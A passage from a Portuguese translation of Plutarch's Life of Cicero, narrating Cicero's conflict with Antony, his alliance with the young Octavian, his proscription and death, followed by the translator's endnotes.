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   XLIII. Também
Antônio levantou logo a cabeça e todos se assustaram, sobretudo
Cícero, à idéia de que ia comandar Roma sozinho. Antônio, que via o
crédito político de Cícero fortificar-se dia para dia, e o sabia amigo de
Bruto, suportava sua presença impacientemente. Havia entre eles,
desde muito já, um começo de desconfiança mútua, nascida da
diferença absoluta dos seus costumes. Cícero, que temia a má vontade
de Antônio, quis primeiramente ir à Síria, como lugar-tenente de
Dolabela, mas Hírtio e Parsa, dois homens de bem e amigos de Cícero,
que deviam suceder a Antônio no consulado, suplicaram a Cícero que
não os abandonasse, prometendo, com a sua ajuda, destruir o poder de
Antônio. Cícero, sem recusar acreditá-los, mas sem dar muita fé às suas
palavras, deixou partir Dolabela. E, após ter combinado com Hírtio que
iria passar o verão em Atenas 50 e que retornaria a Roma desde que seu
colega e ele tivessem tomado posse do consulado – embarcou para a
Grécia. Como a sua viagem por mar sofresse várias interrupções,
conseguia todos os dias, como de costume, notícias de Roma:
asseguravam-lhe que se operara em Antônio mudança extraordinária:
que Antônio não tomava uma só resolução a não ser de acordo com o
Senado e que não faltava mais do que a presença de Cícero para dar
aos negócios públicos uma situação mais favorável. Cícero lamentou,
então, a sua excessiva previdência e voltou a Roma. Ele não se
enganou, desde logo, nas suas esperanças: saiu à sua frente uma multidão tão considerável que lhe foi necessário despender quase todo o
dia em apertos de mãos e abraços, desde as portas da cidade até à sua
casa.

   

No dia seguinte, Antônio convocou o Senado e chamou Cícero,
que se absteve de aí comparecer, ficando de cama sob o pretexto de
que a viagem o havia fatigado. Seu verdadeiro motivo, porém, era
evidentemente o temor de alguma cilada, da qual tivera conhecimento
durante a viagem. Antônio, ofendido com uma suspeita que
classificava de caluniosa, mandou soldados para conduzi-lo à força,
ou, então, incendiar sua casa, se se obstinasse a recusar sua
presença no Senado. Em virtude da insistência de vários senadores,
porém, Antônio revogou a sua ordem e se contentou com penhorar
aperias alguns bens de Cícero. Desde esse dia, eles deixaram de se
cumprimentar quando passavam um ao lado do outro na rua. Viviam
nessa desconfiança, quando o jovem César 51 chegou da Apolônia,
apresentando-se como herdeiro
do antigo César e reclamando uma soma de 25 milhões de dracmas, de que Antônio se apossara. É nesse momento que começa a
ruptura franca de Cícero com Antônio.

   XLIV. Filipe, que havia desposado a
mãe do jovem César, e Marcelo, o marido da sua irmã, foram com ele à
casa de Cícero.

Aí, combinou-se que Cícero apoiaria César com a sua eloqüência e
com o seu prestígio no Senado e diante do povo. Por seu turno, o
jovem César empregaria seu dinheiro e suas armas na proteção à vida
de Cícero, pois o rapaz dispunha de grande número de soldados que haviam servidor às ordens
do ditador.

   

Parece, porém, que Cícero se viu obrigado, por motivos mais
poderosos, a receber com alegria os oferecimentos de

César. No tempo em que Pompeu e César viviam ainda, Cícero teve um
sonho, no qual lhe pareceu que eram chamados ao Capitólio os filhos
dos senadores. Júpiter devia, dentre eles, eleger o soberano de Roma.
Os cidadãos acorriam em multidão e acercavam-se do templo. Os meninos, vestidos de
túnica pretexta, mantinham-se sentados em silêncio. De repente, as
portas se abrem, os meninos se levantam e passam, cada um na sua
fila, diante do deus, que, após havê-los observado atentamente, os faz
retornar a seus lugares cheios de aflição. Quando, porém, o jovem
César se aproxima, Júpiter estende-lhe a mão e diz: “Romanos, eis aqui
o chefe que porá termo às vossas guerras civis”. Esse sonho, conta-se, gravou tão vivamente no espírito de Cícero a imagem do menino,
que ele jamais a esqueceu. Ele não o conhecia, mas, no dia seguinte,
quando descia o Campo de Marte, à hora em que os meninos voltavam
dos seus exercícios, o primeiro que notou foi o jovem César, tal qual o
vira em sonho. Impressionado com o encontro, perguntou-lhe o nome
de seus pais. Seu pai chamava-se Otávio, homem de nascimento pouco
ilustre; mas sua mãe, Átia era sobrinha de César 52, o qual, não tendo
filhos, o instituíra, por testamento, herdeiro da sua casa e dos seus
bens. Afirma-se que, depois dessa aventura, Cícero não encontrou
nunca o menino sem lhe falar cordialmente e sem deixar de fazer-lhe
carícias, que o jovem César aceitava com prazer. Aliás, o acaso
determinara o seu nascimento sob o consulado de Cícero.

   XLV. Eis ai as
versões a respeito do fato. O que, porém, ligou Cícero a César foi,
antes de tudo, seu ódio contra Antônio, e, depois, seu caráter, que
não sabia resistir à ambição. Ele esperava pôr a serviço da República a
atividade desse rapaz que, aliás, procurava por todos os meios
insinuar-se na amizade de Cícero, chegando até a chamá-lo de pai.
Bruto, indignado com essa fraqueza, censurou Cícero energicamente
nas cartas a Ático. Cícero, segundo ele, adulando César pelo medo que
lhe inspirava Antônio, não deixa lugar para dúvida: procura, não tornar
livre a sua pátria, mas dar-se a si próprio um senhor doce e humano.
Todavia, Bruto levou consigo o filho de Cícero, que se encontrava em
Atenas ouvindo lições de filosofia.

   

Encarregou-o de uma tarefa, que desempenhou com excelente êxito. O
poder de Cícero em Roma atingia, então, o seu apogeu: dispondo de
tudo como senhor, expulsou Antônio, sublevou os espíritos contra
este e enviou os dois cônsules Hírtio e Parsa para declarar-lhe guerra.
Enfim, Cícero convenceu o Senado de que, por um decreto, devia conceder a César
litores armados de feixes e todas as honras militares, como ao defensor
da pátria. Como, porém, Antônio houvesse

sido derrotado, e mortos, no campo de batalha, os dois cônsules, e
como os dois exércitos que comandavam se tivessem ido reunir aos de
César, o Senado, que temia esse rapaz, cujo futuro devia ser brilhante,
fez todos os esforços no

sentido de lhe arrebatar os soldados, conferindo-lhes honras e
recompensas, e para lhe desorganizar as forças, sob o pretexto de que,
com a derrota de Antônio, a República não mais tinha necessidade de
defender-se pelas armas. César, alarmado com essas medidas, mandou
secretamente algumas pessoas falar a Cícero, exortando-o, com suas
súplicas, a
disputar o consulado para si e para César. Cícero, afirmavam eles,
dispunha da coisa pública a seu talante e, assim, governaria o rapaz,
que não ambicionava outra coisa senão títulos

honoríficos. O próprio César confessava que, temendo ver-se
abandonado por todos em vista do licenciamento da sua tropa, jogou
com a ambição de Cícero, pedindo-lhe se candidatasse ao consulado,
prometendo-lhe ajudá-lo com o seu prestigio e os pedidos de votos
nos comícios.

   

XLVI. Cícero, não obstante a sua idade, deixou-se fascinar e enganar
nesse momento por um rapaz: apoiou a pretensão

de César e conseguiu o favor do Senado para tais pretensões. Seus
amigos mais que depressa o censuraram e não tardou que ele próprio
reconhecesse que estava perdido, sacrificando, dessa maneira, a
liberdade do povo. O jovem César,

uma vez no poder, não quis mais saber de Cícero: ligou-se com
Antônio e Lépido. Reunindo suas forças, todos três, partilharam o
império entre si, como se se tratasse de uma simples herança. Organizaram uma lista de duzentos cidadãos, cuja morte
lhes parecia necessária. A proscrição que deu lugar à mais viva
disputa foi a de Cícero. Antônio não queria ouvir falar em
acomodações, se Cícero não fosse o primeiro a perecer. Lépido
apoiava os pedidos de Antônio. César resistia a um e outro. Passaram
três dias perto da cidade de Bolonha 53em conferências secretas. Era
numa ilha o lugar onde se reuniam, situada no meio do rio que
separava os dois campos. César lutou vivamente, conta-se, os dois
primeiros dias, para salvar Cícero. Ao terceiro dia, porém, cedeu, e o
abandonou. Fizeram-se todos os três concessões recíprocas. César
sacrificou Cícero; Lépido, o seu próprio irmão Paulo; e Antônio, o seu
tio materno Lúcio César – tanto a cólera e a raiva haviam afogado neles
todo e qualquer sentimento de humanidade! Que digo eu? Provaram
que não há monstro mais selvagem do que o homem quando possui o
poder de saciar a sua paixão.

   XLVII. Enquanto isso acontecia, Cícero vivia na sua casa de campo de
Tusculum, com seu irmão. Logo que correu a primeira notícia das
proscrições, resolveram ambos vir à Astira, outra casa de campo de
Cícero, situada à beira-mar. Queriam embarcar aí para , a Macedônia,
onde ficariam ao lado de Bruto, cujas forças, segundo boatos já
correntes, estavam consideravelmente acrescidas. Puseram-se, cada
um numa liteira, e partiram, tristes e abatidos e sem mais esperanças.
Interromperam a viagem, aproximaram as liteiras e deploraram
mutuamente a sua sorte. Quinto era o mais acabrunhado. Lamentava-se, sobretudo, da falta de recursos em que iria se encontrar: “Não
trago nada comigo”, queixava-se ele. Cícero não levava mais do que
poucas provisões para a viagem. Convieram em que era mais justo
que Cícero continuasse a viagem e apressasse a fuga, enquanto
Quinto correria até sua casa, a fim de prover-se de tudo quanto fosse
necessário. Tomada essa resolução, abraçaram-se ternamente e
separaram-se com os olhos banhados em lágrimas.

   

Poucos dias depois, Quinto, traído por um dos seus domésticos, e
entregue àqueles que o procuravam, foi morto, juntamente com seu
filho. Cícero, ao chegar a Astira, encontrou um barco preparado, no
qual embarcou. Viajou, com bom tempo, até o monte Circé. Os pilotos
quiseram logo fazer vela e demandar novo porto. Cícero, porém, ou
porque temesse o mar, ou porque conservasse ainda alguma esperança
na fidelidade de César, saltou em terra e caminhou cerca de cem
estádios em direção a Roma.

   

Caindo, porém, em novas aflições, mudou de pensamento,
retomando o caminho do mar. Ficou em Astira, onde passou a noite
entregue a pensamentos terríveis, sem saber o que resolveria. Pensou,
mesmo, num momento, em penetrar secretamente na casa de César e se
degolar junto ao fogão, a fim de expor a pessoa de César à fúria
vingadora do povo. O medo de ser torturado, caso lhe pusessem a mão
em cima, o desviou dessa resolução. Sempre oscilando entre
resoluções igualmente perigosas, abandonou-se aos seus domésticos,
que o deveriam conduzir por mar a Caieté, onde possuía um domínio:
era um retiro agradável no verão, quando os ventos etésios 54 fazem
sentir o seu doce hálito. Há, nesse lugar, um pequeno templo dedicado
a Apolo, situado ao, pé do mar. De repente, se ergueu do alto do
templo um bando de corvos que dirigiam seu vôo, crocitando
fortemente, para o barco de Cícero, que procurava alcançar a terra, e
foram pousar nos dois lados da antena, enquanto os outros picavam
as extremidades das cordas. Todos olharam esse signo como mau
presságio. Cícero desembarcou, entrou em casa e foi deitar-se para
descansar. A maior parte, porém, dos corvos, veio pousar na janela do
seu quarto, soltando gritos aterradores. Houve um que desceu à cama
de Cícero e tirou insensìvelmente, com o bico, a gola da túnica com
que ele cobrira o rosto. Em vista disso, seus criados censuraram-lhe a
fraqueza. “Esperaremos nós, – diziam eles, ser testemunhas aqui da
morte do nosso senhor? E, quando

até os animais acorrem em seu auxílio e se inquietam com a sorte
indigna que o ameaça, não faremos nada pela sua conservação?”.
Puseram-no, então, numa liteira, tanto com palavras como à força, e
tomaram o caminho do mar.

   XLVIII.

Enquanto isso, chegaram seus assassinos. Eram um centurião,
chamado Herênio, e Popílio, tribuno dos soldados. Este ultimo havia
sido outrora defendido por Cícero, num processo em que era acusado
de parricídio. Vinham seguidos de uma tropa de satélites. Encontrando
as portas fechadas, arrombaram-nas. Cícero não apareceu e o pessoal
da casa assegurava não o ter visto. Um rapaz, porém, chamado
Filólogo, liberto de Quinto, a quem este havia instruído nas belas letras
e na ciência, informou, ao que se conta, ao tribuno, que a liteira estava
sendo conduzida para o mar, pelas aléias cobertas. O tribuno, levando
consigo alguns soldados, lançou-se por um atalho, rumo à saída das
aléias. Cícero, ao perceber que a tropa conduzida por Herênio corria
precipitadamente por sob o arvoredo, disse a seus servos que
parassem a liteira. E, levando a mão esquerda ao queixo, gesto êste que
lhe era peculiar, atirou sôbre os assassinos um olhar intrépido. Os
cabelos eriçados e cheios de pó, o rosto desfigurado pelos pesares,
exerceram sobre os soldados uma tal impressão que a maioria cobriu o
rosto, enquanto Herênio o degolava. Cícero havia pôsto a cabeça fora
da liteira, oferecendo assim o pescoço .ao carrasco. Morreu com a
idade de 64 anos 55. Herênio, de acôrdo com a ordem que lhe dera
Antônio, cortou-lhe a cabeça bem como as duas mãos com a qual havia escrito as Filípicas.
Cícero intitulara Filípicas os seus discursos contra Antônio. É esse o
título que trazem ainda hoje os seus discursos.

   

XLIX. Quando essa cabeça e essas mãos foram conduzidas a Roma,
Antônio realizava os comícios para a eleição dos magistrados. “Agora,
acabaram-se as proscrições”, disse ele, depois de ouvir a informação
sobre o assassínio e ao ver o aspecto sangrento dêsses despojos. Fê-los colocar nas bordas

da tribuna: espetáculo terrível para os romanos que, parecia, estavam
vendo não o rosto de Cícero, mas a própria imagem da alma de
Antônio. Entretanto, em meio a tantas crueldades, Antônio fez seu ato
de justiça, entregando Filólogo a Pompônia, mulher de Quinto.
Pompônia, de posse do corpo do traidor, além dos vários suplícios
terríveis a que o submeteu, forçou-o a cortar a própria carne, pouco a
pouco, fazê-la assar e comê-la em seguida. É pelo menos o que narram
alguns historiadores. Porém, Tiron, liberto de Cícero, não faz nenhuma
referência à traição de Filólogo.

   

Ouvi dizer que César, longos anos após, entrando um dia em
casa de um dos seus netos, este, surpreendido com uma das obras de
Cícero na mão, escondeu o livro na sua túnica. César, notando isso,
tomou do livro, leu de pé uma grande parte e entregando-o ao rapaz,
disse-lhe:

   
– Foi um sábio, meu filho. Um sábio que amava a sua pátria.

   

De resto, logo que César derrotou Antônio em combate, tomou
por colega no consulado o filho de Cícero. 56 O Senado, sob a sua
magistratura, derrubou as estátuas de Antônio, revogou as honras de
que gozava e proibiu, por decreto público, que qualquer pessoa da
família dos Antônios trouxesse o prenome de Marco. Parece que, por
esse meio, a vingança divina reservou para a família de Cícero o fim do
castigo de Antônio.


Notas

1. O pai de Cícero se chamava como o filho Marco Túlio Cícero, e pertencia à ordem eqüestre.
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2.
Na casa de quem Criolano se abrigou, no ano 263 de Roma. Voltar
3. Os Volscos eram um povo do Lácio, que nhabitava as margens do Líris
. A frase a seguir, "e lutou sem muita desvantagem contra os romanos" não está em algumas edições de Plutarco, mas é admitido segundo vários manuscritos. Encontra-se em vários manuscritos, depois destas palavras ´en ouoloúskois, estas outras: kai polemésanta Romáiois ouk´adunátos que foram admitidas por Amyot. Voltar
4. Scaurus, de calcanhar saliente; Catulus, cachorrinho. Voltar
5. Literalmente, um ex-voto, que podia ser também um quadro ou imagem que se colocaca em igreja ou ermida. em cumprimento de um voto. Voltar
6.
Isto é, 3 de janeiro. Cícero nasceu no ano 647 de Roma, 106 a.C. Voltar
7. Veja-se Platão, República, livros V e VI. Voltar
8. Versos latinos de quatro pés. Em poesia grega ou latina, os versos mediam-se por pés, e não por sílabas. Os pés podiam ter duas, três ou quatro sílabas breves ou longas, e podiam ser dáctilos ou espondeus. O verso heróico tinha a medida de seis pés. Voltar
9.
Filósofo grego, de origem cartaginesa (187-110 a.C.). Escreveu cerca de quatrocentos livros. Clitomaco, depois de Filon, foi sucessor de Carneades na direção da 3ª Academia. Voltar
10.
Q. Múcio Cévola, áugure. Voltar
11 .
Os marsos era um povo do Lácio, que, juntamente com os samnitas, se revoltou contra Roma. Voltar
12. Graecus, grego; scholasticus, declamador. Voltar
13.
Caio Cornélio Verres. Voltar
14.
É contra esta pretensão de Cecílio que é dirigido o discurso de Cícero intitulado Divinatio. Voltar
15.
Os judeus não comem carne de porco. Voltar
16.
Hortênsio foi um orador romano (114-50 a.C.). Era a princípio rival de Cícero, mas depois tornou-se seu amigo.Voltar
17.
Uma das Sete Colinas de Roma. Foi no Palatino que se levantaram os primeiros edifícios. Voltar
18. Parece que, entre os romanos. a grossura do pescoço era olhada como sinal de imprudência.
Voltar
19.
Em Roma, havia tribunos militares e tribunos da Peble. É a estes últimos que Plutarco se refere. A eles competia a defesa das classes populares, contra os patrícios. Tinham grande poder. Usavam toga, como os patrícios. Inicialmenter, haviam dois tribunos, mas o seu número ascendeu até dez. Voltar
20. Salústio diz somente que correra um boa neste sentido, mas não afirma a realidade deste terrível crime. Voltar
21. Caio Antônio, segundo filho do célebre orador Marco Antônio. Voltar

22. No ano 691 de Roma, 63 a. C.
. Voltar
23.Ainda se tem o discurso de Cícero contra Servílio Rulo que lhes estava à testa. Voltar
24. Segundo Amyot, outros o chamam de Lucio Roscio. Voltar
25. O grego diz, literalmente: "uma resposta que não era fraca".
Voltar
26. Pitonisa, ou profetisa; uma Sibila fizera profecias sobre o futuro de Roma, reunidas em livros conservados no Capitólio. Voltar
27. As saturnais constituíam a festa dos escravos. Celebrava-se todos os anos no 16º dia das calendas de janeiro. No tempo de Cícero, elas não duravam mais do que um dia. César dilatou a sua duração para três dias, e Augusto para sete. Voltar
28. Povo da Gália Narbonense, que habitava uma parte do Delfinado e quase toda a Sabóia. Voltar

29. Sacerdotisas da deusa vesta, a qual simbolizava o fogo terrestre. As vestais eram obrigadas a manter a virgindade, competindo-lhes conservar aceso, sem interrupção, o fogo sagrado, no altar de Vesta. Aquela que deixasse apagar o fogo seria punida com açoites. Voltar
30. Tinha então 37 anos. Voltar

31. Trata-se de Catão, o Jovem (95-46 a.C.), inimigo de Caio Júlio César. Após a derrota de Trapso, suicidou-se em Útica. Voltar
32. Nome dos discursos de Demóstenes contra Filipe da Macedônia. Voltar

33. T. Munácio Planco Bursa, in
imigo de Milon e de Cícero. Este, primeiro, o defendeu; mais tarde, fê-lo condenar. Voltar
34. Em grego, "Áxios Krássou". Actio é um nome próprio romano, e áxios em grego significa digno, assim a graça está na ambiguidade da palavra. Voltar
35. Eram diversar as refeições dos romanos: jentaculum (pequeno-almoço, de manhã); prandium (jantar, antes do meio-dia); merenda (refeição, depois do meio-dia); cena (ceia, ao anoitecer, ou seja, à hora nona) e comonessatio ou comissatio (refeição noturna). A ceia era a mais abundantes das refeições, constando de três partes: gustatio ou antecoenium (primeiro prato, destinado a excitar o apetite); caput cena (constituída por iguarias fortes e substanciais); e, finalmente, secunda mesa (sobremesa de doces e frutas). Voltar
36. Alusão aos costumes de povos da África de furar as duas orelhas.
Voltar
37. Adrasto, rei de Argos, figura de tragédias gregas, obedecendo a um oráculo, casara as filhas com Polinice e Tideu, dois exilados. Voltar
38. Verso de um autor desconhecido, que alude a Laio, rei de Tebas, a quem Apolo proibira a procriação.Voltar
39. Alguns textos antigos dizem Tércia, segundo Amyot. Voltar
40.
Os juízes escreviam a letra A, a letra C, ou as duas letras N.L.: Absolvo, Condeno, ou Non liquet, isto é, absolvição, condenação ou questão indecisa. Voltar
41.
Outra das Sete Colinas de Roma. Voltar
42.
Este discurso encontra-se nas obras de Cícero. Voltar
43. Antigo país da África Menor, na região montanhosa de Tauros. Isto foi ano 703 de Roma. Voltar
44. A Capadócia é uma região da Ásia Menor, situada a Oeste da Armênia. Voltar
45. Os partos, povo sita
, que se fixou junto da Hircânia, Bactriana e Índia, eram valentíssimos, principalmente no combate a cavalo. Voltar
46.
Pequena cadeia de montanhas no Tauros. Voltar
47.
Título de honra que os soldados vitoriosos davam antigamente por aclamação, num ímpeto de entusiasmo, aos generais vitoriosos; podia portanto haver muitos imperadores ao mesmo tempo. Só posteriormente veio corresponder à nossa palavra imperador. A carta de Célio de que se fala adiante está no segundo livro das Epístolas familiares de Cícero e é endereçada a Célio, edil Curul. Voltar
48.
Cada legião tinha uma águia, isto é, uma insígnia, um estandarte. Voltar
49.
Medida itinerária dos antigos gregos, correspondendo cada estádio a 185 metros. Voltar
50. No ano 710 de Roma. Voltar

51.
Apesa da confusão, Plutarco refere-se a Otávio, que Caio Júlio César instituíra, em testamento, seu filho adotivo e herdeiro. Caio Otávio era sobrinho de César, e a partir de então adotou o nome do pai, Caio Júlio César, acrescentando-lhe, como era usual, o seu próprio nome, agora transformado em Otaviano. Voltar
52. Sobrinha de César, filha de Marco Acio Balbo e de Julia, irmã de César. Voltar
53. O rio é o Reno, e a ilha é a dos Triúnviros. Voltar
54. Diz-se dos ventos do norte, que sopram às vezes no Mediterrâneo, modificando calores do estio. Voltar

55. Tito Lívio aponta 63, mas ele estava de fato com 64, tendo nascido no ano 648 de Roma. Voltar
56. No ano 721 de Roma. Outros dão como cônsul nesse ano L. Volcacio Tullo; e o padre Pétau os seguiu. Mas Plínio está de acordo com Plutarco. Voltar

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